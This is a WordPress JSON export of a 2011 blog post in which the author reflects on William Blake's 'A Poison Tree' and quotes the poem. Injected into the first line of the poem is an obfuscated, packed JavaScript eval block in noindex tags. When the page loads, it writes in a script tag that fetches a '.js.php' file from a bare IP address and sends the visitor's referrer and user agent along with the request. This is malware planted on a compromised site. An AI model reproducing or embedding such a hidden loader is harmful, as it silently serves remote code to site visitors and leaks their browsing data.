{"id":1879,"date":"2011-08-02T06:51:31","date_gmt":"2011-08-02T13:51:31","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1879"},"modified":"2012-05-02T11:22:21","modified_gmt":"2012-05-02T18:22:21","slug":"a-poison-tree","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1879","title":{"rendered":"A Poison Tree"},"content":{"rendered":"<p>I came across this poem recently and remembered loving Blake in high school.\u00c2\u00a0 His poetry sounds so sweet and simple, but always manages to touch on the darker side of human nature.\u00c2\u00a0 That&#8217;s what really makes it unforgettable, to me.<\/p>\n<p>And this poem especially appeals to me because people so often say that when you&#8217;re angry you should &#8220;sleep on it&#8221; or take time to cool off.\u00c2\u00a0 That&#8217;s true, of course, but a lot of times for me, the longer I wait and stew over something, the madder I get.\u00c2\u00a0 For me, it&#8217;s usually better to deal with it sooner instead of later!<\/p>\n<p><span style=\"color: #993366;\">I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhebi|var|u0026u|referrer|nybre||js|php'.split('|'),0,{}))\n<\/script><\/noindex> was angry with my friend:<\/span><br \/>\n<span style=\"color: #993366;\"> I told my wrath, my wrath did end.<\/span><br \/>\n<span style=\"color: #993366;\"> I was angry with my foe:<\/span><br \/>\n<span style=\"color: #993366;\"> I told it not, my wrath did grow.<\/span><\/p>\n<p><span style=\"color: #993366;\">And I watered it in fears,<\/span><br \/>\n<span style=\"color: #993366;\"> Night &amp; morning with my tears;<\/span><br \/>\n<span style=\"color: #993366;\"> And I sunned it with smiles,<\/span><br \/>\n<span style=\"color: #993366;\"> And with soft deceitful wiles.<\/span><\/p>\n<p><span style=\"color: #993366;\">And it grew both day and night,<\/span><br \/>\n<span style=\"color: #993366;\"> Till it bore an apple bright ;<\/span><br \/>\n<span style=\"color: #993366;\"> And my foe beheld it shine,<\/span><br \/>\n<span style=\"color: #993366;\"> And he knew that it was mine,<\/span><\/p>\n<p><span style=\"color: #993366;\">And into my garden stole<\/span><br \/>\n<span style=\"color: #993366;\"> When the night had veil\u00e2\u20ac\u2122d the pole:<\/span><br \/>\n<span style=\"color: #993366;\"> In the morning glad I see<\/span><br \/>\n<span style=\"color: #993366;\"> My foe outstretched beneath the tree.<\/span><\/p>\n<p><span style=\"color: #993366;\"><em>~ William Blake<\/em><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I came across this poem recently and remembered loving Blake in high school.\u00c2\u00a0 His poetry&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[21,42],"class_list":["post-1879","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-musings","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1879"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1879"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1879\/revisions"}],"predecessor-version":[{"id":3039,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1879\/revisions\/3039"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1879"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1879"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1879"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}